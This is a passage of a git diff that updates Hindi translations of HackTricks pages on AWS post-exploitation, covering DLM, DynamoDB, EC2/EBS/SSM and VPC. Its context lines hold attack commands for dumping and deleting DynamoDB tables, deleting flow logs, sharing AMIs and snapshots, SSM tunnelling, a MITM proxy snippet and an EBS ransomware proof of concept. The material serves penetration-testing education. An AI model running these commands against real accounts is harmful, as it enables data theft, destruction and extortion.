-- फिर, गिटहब रेपो का URL HTTP का उपयोग करने के लिए बदलें, HTTPS के बजाय, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions` -- फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण चलाएं। +- फिर, github repo का URL HTTP का उपयोग करने के लिए बदलें बजाय HTTPS के, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions` +- फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण चलाएँ। ```python from mitm import MITM, protocol, middleware, crypto @@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- अगला, **प्रोजेक्ट का निर्माण करें** पर क्लिक करें या कमांड लाइन से निर्माण शुरू करें: +- अगला, **प्रोजेक्ट बनाएं** पर क्लिक करें या कमांड लाइन से निर्माण शुरू करें: ```sh aws codebuild start-build --project-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index ec4449a0a..6d1bc4c18 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - DLM Post Exploitation +# AWS - DLM पोस्ट एक्सप्लोइटेशन {{#include ../../../banners/hacktricks-training.md}} @@ -8,11 +8,11 @@ एक रैनसमवेयर हमला तब किया जा सकता है जब जितने संभव हो सके EBS वॉल्यूम को एन्क्रिप्ट किया जाए और फिर वर्तमान EC2 इंस्टेंस, EBS वॉल्यूम और स्नैपशॉट को मिटा दिया जाए। इस दुर्भावनापूर्ण गतिविधि को स्वचालित करने के लिए, कोई Amazon DLM का उपयोग कर सकता है, स्नैपशॉट को दूसरे AWS खाते से KMS कुंजी के साथ एन्क्रिप्ट करके और एन्क्रिप्टेड स्नैपशॉट को एक अलग खाते में स्थानांतरित करके। वैकल्पिक रूप से, वे बिना एन्क्रिप्शन के स्नैपशॉट को एक ऐसे खाते में स्थानांतरित कर सकते हैं जिसे वे प्रबंधित करते हैं और फिर वहां उन्हें एन्क्रिप्ट कर सकते हैं। हालांकि मौजूदा EBS वॉल्यूम या स्नैपशॉट को सीधे एन्क्रिप्ट करना सीधा नहीं है, लेकिन एक नया वॉल्यूम या स्नैपशॉट बनाकर ऐसा करना संभव है। -सबसे पहले, कोई वॉल्यूम के बारे में जानकारी इकट्ठा करने के लिए एक कमांड का उपयोग करेगा, जैसे कि इंस्टेंस ID, वॉल्यूम ID, एन्क्रिप्शन स्थिति, अटैचमेंट स्थिति, और वॉल्यूम प्रकार। +सबसे पहले, कोई वॉल्यूम पर जानकारी इकट्ठा करने के लिए एक कमांड का उपयोग करेगा, जैसे कि इंस्टेंस ID, वॉल्यूम ID, एन्क्रिप्शन स्थिति, अटैचमेंट स्थिति, और वॉल्यूम प्रकार। `aws ec2 describe-volumes` -दूसरे, कोई लाइफसाइकिल नीति बनाएगा। यह कमांड DLM API का उपयोग करके एक लाइफसाइकिल नीति स्थापित करता है जो निर्दिष्ट वॉल्यूम के दैनिक स्नैपशॉट को एक निर्धारित समय पर स्वचालित रूप से लेता है। यह स्नैपशॉट पर विशिष्ट टैग भी लागू करता है और वॉल्यूम से स्नैपशॉट पर टैग की नकल करता है। policyDetails.json फ़ाइल में लाइफसाइकिल नीति के विवरण शामिल हैं, जैसे लक्षित टैग, कार्यक्रम, एन्क्रिप्शन के लिए वैकल्पिक KMS कुंजी का ARN, और स्नैपशॉट साझा करने के लिए लक्षित खाता, जिसे पीड़ित के CloudTrail लॉग में रिकॉर्ड किया जाएगा। +दूसरे, कोई लाइफसाइकिल नीति बनाएगा। यह कमांड DLM API का उपयोग करके एक लाइफसाइकिल नीति स्थापित करता है जो निर्दिष्ट वॉल्यूम के दैनिक स्नैपशॉट को एक निर्धारित समय पर स्वचालित रूप से लेता है। यह स्नैपशॉट पर विशिष्ट टैग भी लागू करता है और वॉल्यूम से स्नैपशॉट पर टैग की नकल करता है। policyDetails.json फ़ाइल में लाइफसाइकिल नीति के विवरण शामिल होते हैं, जैसे कि लक्षित टैग, कार्यक्रम, एन्क्रिप्शन के लिए वैकल्पिक KMS कुंजी का ARN, और स्नैपशॉट साझा करने के लिए लक्षित खाता, जिसे पीड़ित के CloudTrail लॉग में रिकॉर्ड किया जाएगा। ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index b1b0084a4..66d58b4f0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -12,7 +12,7 @@ ### `dynamodb:BatchGetItem` -इस अनुमति के साथ एक हमलावर **प्राथमिक कुंजी द्वारा तालिकाओं से आइटम प्राप्त करने में सक्षम होगा** (आप तालिका के सभी डेटा के लिए बस नहीं पूछ सकते)। इसका मतलब है कि आपको प्राथमिक कुंजी जानने की आवश्यकता है (आप इसे तालिका के मेटाडेटा (`describe-table`) प्राप्त करके प्राप्त कर सकते हैं)। +इस अनुमति के साथ एक हमलावर **प्राथमिक कुंजी द्वारा तालिकाओं से आइटम प्राप्त करने में सक्षम होगा** (आप तालिका के सभी डेटा के लिए बस नहीं पूछ सकते)। इसका मतलब है कि आपको प्राथमिक कुंजी पता होनी चाहिए (आप इसे तालिका के मेटाडेटा (`describe-table`) प्राप्त करके जान सकते हैं)। {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिविलेज वृद्धि ### `dynamodb:GetItem` -**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनः प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है: +**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -79,7 +79,7 @@ aws dynamodb transact-get-items \ ### `dynamodb:Query` -**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है। यह [तुलनाओं का एक उपसमुच्चय](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी के साथ केवल "EQ" की तुलना की अनुमति है (जो कि उपस्थित होनी चाहिए), इसलिए आप एक अनुरोध में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते। +**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है। यह [तुलनाओं का एक उपसमुच्चय](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी के साथ केवल "EQ" तुलना की अनुमति है (जो कि प्रकट होनी चाहिए), इसलिए आप एक अनुरोध में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते। {{#tabs }} {{#tab name="json file" }} @@ -107,15 +107,15 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिविलेज वृद्धि ### `dynamodb:Scan` -आप इस अनुमति का उपयोग करके **पूरी तालिका को आसानी से डंप कर सकते हैं**। +आप इस अनुमति का उपयोग **पूरी तालिका को आसानी से डंप करने** के लिए कर सकते हैं। ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:PartiQLSelect` @@ -129,13 +129,13 @@ aws dynamodb execute-statement \ aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -लेकिन आपको एक मान के साथ प्राथमिक कुंजी निर्दिष्ट करने की आवश्यकता है, इसलिए यह इतना उपयोगी नहीं है। +लेकिन आपको एक मान के साथ प्राथमिक कुंजी निर्दिष्ट करनी होगी, इसलिए यह इतना उपयोगी नहीं है। **संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -यह अनुमति एक हमलावर को **पूरी तालिका को उसके चयन के S3 बकेट में निर्यात** करने की अनुमति देगी: +यह अनुमति एक हमलावर को **S3 बकेट** में पूरी तालिका को **निर्यात** करने की अनुमति देगी: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -149,13 +149,13 @@ aws dynamodb export-table-to-point-in-time \ aws dynamodb describe-continuous-backups \ --table-name ``` -यदि यह सक्षम नहीं है, तो आपको **इसे सक्षम करना होगा** और इसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति की आवश्यकता है: +यदि यह सक्षम नहीं है, तो आपको इसे **सक्षम करना** होगा और इसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति की आवश्यकता है: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` @@ -166,7 +166,7 @@ aws dynamodb restore-table-from-backup \ --target-table-name \ --region ``` -**संभावित प्रभाव:** तालिका बैकअप में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क +**संभावित प्रभाव:** तालिका बैकअप में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क ### `dynamodb:PutItem` @@ -206,7 +206,7 @@ aws dynamodb put-item \ ### `dynamodb:UpdateItem` -यह अनुमति उपयोगकर्ताओं को **एक आइटम के मौजूदा गुणों को संशोधित करने या एक आइटम में नए गुण जोड़ने** की अनुमति देती है। यह **पूरे आइटम को प्रतिस्थापित** नहीं करती; यह केवल निर्दिष्ट गुणों को अपडेट करती है। यदि प्राथमिक कुंजी तालिका में मौजूद नहीं है, तो यह क्रिया **निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम बनाएगी** और अपडेट अभिव्यक्ति में निर्दिष्ट गुणों को सेट करेगी। +यह अनुमति उपयोगकर्ताओं को **एक आइटम के मौजूदा गुणों को संशोधित करने या एक आइटम में नए गुण जोड़ने** की अनुमति देती है। यह **पूरे आइटम को प्रतिस्थापित** नहीं करती; यह केवल निर्दिष्ट गुणों को अपडेट करती है। यदि प्राथमिक कुंजी तालिका में मौजूद नहीं है, तो यह क्रिया निर्दिष्ट प्राथमिक कुंजी के साथ **एक नया आइटम बनाएगी** और अपडेट अभिव्यक्ति में निर्दिष्ट गुणों को सेट करेगी। {{#tabs }} {{#tab name="XSS Example" }} @@ -242,21 +242,21 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**संभावित प्रभाव:** DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण +**संभावित प्रभाव:** एक DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण ### `dynamodb:DeleteTable` -इस अनुमति के साथ एक हमलावर **DynamoDB तालिका को हटा सकता है, जिससे डेटा हानि होती है**। +इस अनुमति के साथ एक हमलावर **एक DynamoDB तालिका को हटा सकता है, जिससे डेटा हानि होती है**। ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**संभावित प्रभाव**: डेटा हानि और हटाए गए तालिका पर निर्भर सेवाओं का विघटन। +**संभावित प्रभाव**: डेटा हानि और हटाए गए तालिका पर निर्भर सेवाओं में व्यवधान। ### `dynamodb:DeleteBackup` -इस अनुमति के साथ एक हमलावर **एक DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति परिदृश्य में डेटा हानि का कारण बन सकता है**। +इस अनुमति के साथ एक हमलावर **DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति परिदृश्य के मामले में डेटा हानि का कारण बन सकता है**। ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index d445ead29..15a77374f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - EC2, EBS, SSM & VPC Post Exploitation +# AWS - EC2, EBS, SSM & VPC पोस्ट एक्सप्लोइटेशन {{#include ../../../../banners/hacktricks-training.md}} @@ -10,10 +10,10 @@ ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **दुष्ट VPC मिरर -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC ट्रैफ़िक मिररिंग **VPC के भीतर EC2 इंस्टेंस के लिए इनबाउंड और आउटबाउंड ट्रैफ़िक को डुप्लिकेट करती है** बिना इंस्टेंस पर कुछ भी स्थापित किए। यह डुप्लिकेट ट्रैफ़िक आमतौर पर विश्लेषण और निगरानी के लिए नेटवर्क इंट्रूज़न डिटेक्शन सिस्टम (IDS) जैसी किसी चीज़ पर भेजा जाएगा।\ -एक हमलावर इसका दुरुपयोग करके सभी ट्रैफ़िक को कैप्चर कर सकता है और इससे संवेदनशील जानकारी प्राप्त कर सकता है: +VPC ट्रैफिक मिररिंग **VPC के भीतर EC2 इंस्टेंस के लिए इनबाउंड और आउटबाउंड ट्रैफिक को डुप्लिकेट करती है** बिना इंस्टेंस पर कुछ भी इंस्टॉल किए। यह डुप्लिकेटेड ट्रैफिक आमतौर पर विश्लेषण और निगरानी के लिए नेटवर्क इंट्रूजन डिटेक्शन सिस्टम (IDS) जैसी किसी चीज़ पर भेजा जाएगा।\ +एक हमलावर इसका दुरुपयोग करके सभी ट्रैफिक को कैप्चर कर सकता है और इससे संवेदनशील जानकारी प्राप्त कर सकता है: अधिक जानकारी के लिए इस पृष्ठ को देखें: @@ -21,9 +21,9 @@ VPC ट्रैफ़िक मिररिंग **VPC के भीतर EC2 aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance +### चल रहे इंस्टेंस की कॉपी -इंस्टेंस आमतौर पर कुछ प्रकार की संवेदनशील जानकारी रखते हैं। अंदर जाने के विभिन्न तरीके हैं (देखें [EC2 विशेषाधिकार वृद्धि तकनीक](../../aws-privilege-escalation/aws-ec2-privesc.md)). हालाँकि, यह जांचने का एक और तरीका है कि इसमें क्या है **एक AMI बनाना और इससे एक नया इंस्टेंस चलाना (यहां तक कि अपने स्वयं के खाते में)**: +इंस्टेंस आमतौर पर कुछ प्रकार की संवेदनशील जानकारी रखते हैं। अंदर जाने के विभिन्न तरीके हैं (देखें [EC2 विशेषाधिकार वृद्धि ट्रिक्स](../../aws-privilege-escalation/aws-ec2-privesc.md))। हालाँकि, यह जांचने का एक और तरीका है कि इसमें क्या है, **एक AMI बनाना और इससे एक नया इंस्टेंस चलाना (यहां तक कि अपने स्वयं के खाते में)**: ```shell # List instances aws ec2 describe-images @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots हैं वॉल्यूम के बैकअप**, जो आमतौर पर **संवेदनशील जानकारी** रखेंगे, इसलिए इन्हें चेक करने से यह जानकारी प्रकट होनी चाहिए।\ -यदि आप एक **वॉल्यूम बिना स्नैपशॉट** के पाते हैं तो आप: **एक स्नैपशॉट बनाएँ** और निम्नलिखित क्रियाएँ करें या बस **इसे एक इंस्टेंस में माउंट करें** खाते के अंदर: +**Snapshots वॉल्यूम के बैकअप हैं**, जो आमतौर पर **संवेदनशील जानकारी** रखेंगे, इसलिए इन्हें चेक करने से यह जानकारी प्रकट होनी चाहिए।\ +यदि आप एक **वॉल्यूम बिना स्नैपशॉट** के पाते हैं, तो आप: **एक स्नैपशॉट बनाएँ** और निम्नलिखित क्रियाएँ करें या बस **इसे एक इंस्टेंस में माउंट करें** खाते के अंदर: {{#ref}} aws-ebs-snapshot-dump.md @@ -60,17 +60,17 @@ aws-ebs-snapshot-dump.md #### DNS Exfiltration -भले ही आप एक EC2 को इस तरह लॉक कर दें कि कोई ट्रैफिक बाहर न जा सके, यह अभी भी **DNS के माध्यम से एक्सफिल्ट्रेट** कर सकता है। +भले ही आप एक EC2 को इस तरह लॉक कर दें कि कोई ट्रैफ़िक बाहर न जा सके, यह अभी भी **DNS के माध्यम से एक्सफिल्ट्रेट** कर सकता है। - **VPC फ्लो लॉग इसे रिकॉर्ड नहीं करेंगे**। -- आपके पास AWS DNS लॉग्स तक पहुँच नहीं है। +- आपके पास AWS DNS लॉग का कोई एक्सेस नहीं है। - इसे "enableDnsSupport" को false सेट करके बंद करें: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -एक हमलावर एक खाते के API एंडपॉइंट्स को कॉल कर सकता है जिसे वह नियंत्रित करता है। क्लाउडट्रेल इन कॉल्स को लॉग करेगा और हमलावर क्लाउडट्रेल लॉग्स में एक्सफिल्ट्रेट डेटा देख सकेगा। +एक हमलावर एक खाते के API एंडपॉइंट्स को कॉल कर सकता है जिसे वह नियंत्रित करता है। Cloudtrail इन कॉल्स को लॉग करेगा और हमलावर Cloudtrail लॉग में एक्सफिल्ट्रेट की गई जानकारी देख सकेगा। ### Open Security Group @@ -89,24 +89,24 @@ For [**more information check this**](../../aws-privilege-escalation/aws-ec2-pri ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` -### SSM Port Forwarding +### SSM पोर्ट फॉरवर्डिंग -Required permissions: +आवश्यक अनुमतियाँ: - `ssm:StartSession` -कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे उन EC2 उदाहरणों से पिवट करने के लिए दुरुपयोग किया जा सकता है जिनके पास सुरक्षा समूहों या NACLs के कारण नेटवर्क पहुंच नहीं है। यह एक परिदृश्य है जहां यह उपयोगी है, [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS क्लस्टर में पिवट करना। +कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे उन EC2 उदाहरणों से पिवट करने के लिए दुरुपयोग किया जा सकता है जिनका नेटवर्क एक्सेस सुरक्षा समूहों या NACLs के कारण नहीं है। यह एक परिदृश्य है जहाँ यह उपयोगी है, [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS क्लस्टर में पिवट करना। -> एक सत्र शुरू करने के लिए आपको SessionManagerPlugin स्थापित करने की आवश्यकता है: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> सत्र शुरू करने के लिए आपको SessionManagerPlugin स्थापित करना होगा: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. अपने मशीन पर SessionManagerPlugin स्थापित करें 2. निम्नलिखित कमांड का उपयोग करके Bastion EC2 में लॉग इन करें: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. [AWS EC2 वातावरण में SSRF का दुरुपयोग](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) स्क्रिप्ट के साथ बैस्टियन EC2 AWS अस्थायी क्रेडेंशियल प्राप्त करें -4. क्रेडेंशियल्स को अपने मशीन में `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` प्रोफ़ाइल के रूप में स्थानांतरित करें -5. बैस्टियन EC2 के रूप में EKS में लॉग इन करें: +3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) स्क्रिप्ट के साथ Bastion EC2 AWS अस्थायी क्रेडेंशियल प्राप्त करें +4. क्रेडेंशियल्स को अपने मशीन में `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` प्रोफ़ाइल के रूप में स्थानांतरित करें +5. Bastion EC2 के रूप में EKS में लॉग इन करें: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` @@ -119,9 +119,9 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo ```shell kubectl get pods --insecure-skip-tls-verify ``` -ध्यान दें कि SSL कनेक्शन विफल हो जाएंगे जब तक आप `--insecure-skip-tls-verify` ध्वज (या K8s ऑडिट टूल में इसके समकक्ष) को सेट नहीं करते। चूंकि ट्रैफ़िक सुरक्षित AWS SSM टनल के माध्यम से टनल किया गया है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं। +ध्यान दें कि SSL कनेक्शन विफल हो जाएंगे जब तक आप `--insecure-skip-tls-verify ` ध्वज (या K8s ऑडिट टूल में इसके समकक्ष) को सेट नहीं करते। चूंकि ट्रैफ़िक सुरक्षित AWS SSM टनल के माध्यम से टनल किया गया है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं। -अंत में, यह तकनीक निजी EKS क्लस्टरों पर हमले के लिए विशिष्ट नहीं है। आप किसी भी अन्य AWS सेवा या कस्टम एप्लिकेशन पर पिवट करने के लिए मनचाहे डोमेन और पोर्ट सेट कर सकते हैं। +अंत में, यह तकनीक निजी EKS क्लस्टरों पर हमले के लिए विशिष्ट नहीं है। आप किसी भी अन्य AWS सेवा या कस्टम एप्लिकेशन पर पिवट करने के लिए मनमाने डोमेन और पोर्ट सेट कर सकते हैं। ### Share AMI ```bash @@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### सार्वजनिक और निजी AMIs में संवेदनशील जानकारी खोजें -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक उपकरण है जो **सार्वजनिक या निजी अमेज़न मशीन इमेज (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए डिज़ाइन किया गया है**। यह लक्षित AMIs से उदाहरण लॉन्च करने, उनके वॉल्यूम को माउंट करने और संभावित रहस्यों या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है। +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक उपकरण है जो **सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए डिज़ाइन किया गया है**। यह लक्षित AMIs से उदाहरण लॉन्च करने, उनके वॉल्यूम को माउंट करने और संभावित रहस्यों या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है। ### EBS स्नैपशॉट साझा करें ```bash @@ -137,7 +137,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -एक प्रमाणित अवधारणा जो S3 पोस्ट-एक्सप्लॉइटेशन नोट्स में प्रदर्शित Ransomware प्रदर्शन के समान है। KMS को Ransomware प्रबंधन सेवा (RMS) के रूप में पुनः नामित किया जाना चाहिए, क्योंकि इसे विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग करना कितना आसान है। +एक प्रमाणित अवधारणा जो S3 पोस्ट-एक्सप्लोइटेशन नोट्स में प्रदर्शित Ransomware प्रदर्शन के समान है। KMS को Ransomware प्रबंधन सेवा (RMS) के लिए पुनः नामित किया जाना चाहिए, क्योंकि इसे विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग करना कितना आसान है। पहले 'हमलावर' AWS खाते से, KMS में एक ग्राहक प्रबंधित कुंजी बनाएं। इस उदाहरण के लिए, हम बस AWS को मेरे लिए कुंजी डेटा प्रबंधित करने देंगे, लेकिन एक वास्तविक परिदृश्य में, एक दुर्भावनापूर्ण अभिनेता AWS के नियंत्रण से बाहर कुंजी डेटा को बनाए रखेगा। कुंजी नीति को इस प्रकार बदलें कि किसी भी AWS खाता प्रिंसिपल को कुंजी का उपयोग करने की अनुमति हो। इस कुंजी नीति के लिए, खाते का नाम 'AttackSim' था और सभी पहुंच की अनुमति देने वाला नीति नियम 'बाहरी एन्क्रिप्शन' कहा जाता है। ``` @@ -231,7 +231,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: +कुंजी नीति नियम को EBS वॉल्यूम को एन्क्रिप्ट करने की क्षमता की अनुमति देने के लिए निम्नलिखित सक्षम करने की आवश्यकता है: - `kms:CreateGrant` - `kms:Decrypt` @@ -239,7 +239,7 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -अब सार्वजनिक रूप से सुलभ कुंजी का उपयोग करने के साथ। हम एक 'पीड़ित' खाते का उपयोग कर सकते हैं जिसमें कुछ EC2 उदाहरण हैं जिनसे अनएन्क्रिप्टेड EBS वॉल्यूम जुड़े हुए हैं। इस 'पीड़ित' खाते के EBS वॉल्यूम वह हैं जिनका हम एन्क्रिप्शन के लिए लक्ष्य बना रहे हैं, यह हमला एक उच्च-विशेषाधिकार AWS खाते के उल्लंघन के तहत है। +अब सार्वजनिक रूप से सुलभ कुंजी का उपयोग करने के साथ। हम एक 'पीड़ित' खाते का उपयोग कर सकते हैं जिसमें कुछ EC2 उदाहरण हैं जिनमें अनएन्क्रिप्टेड EBS वॉल्यूम जुड़े हुए हैं। इस 'पीड़ित' खाते के EBS वॉल्यूम वे हैं जिनके लिए हम एन्क्रिप्शन का लक्ष्य बना रहे हैं, यह हमला एक उच्च-विशेषाधिकार AWS खाते के उल्लंघन के तहत है। ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) @@ -249,7 +249,7 @@ S3 रैनसमवेयर उदाहरण के समान। यह ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -यह भी ध्यान देने योग्य है कि स्क्रिप्ट ने मूल EBS वॉल्यूम को हटाने और हटाने के लिए EC2 उदाहरणों को रोक दिया। अब मूल अनएन्क्रिप्टेड वॉल्यूम चले गए हैं। +यह भी ध्यान देने योग्य है कि स्क्रिप्ट ने मूल EBS वॉल्यूम को हटाने और अलग करने के लिए EC2 उदाहरणों को रोक दिया। मूल अनएन्क्रिप्टेड वॉल्यूम अब चले गए हैं। ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) @@ -324,15 +324,15 @@ S3 रैनसमवेयर उदाहरण के समान। यह ] } ``` -एक पल रुकें ताकि नए सेट किए गए कुंजी नीति का प्रचार हो सके। फिर 'पीड़ित' खाते में वापस जाएं और नए एन्क्रिप्टेड EBS वॉल्यूम में से एक को अटैच करने का प्रयास करें। आप 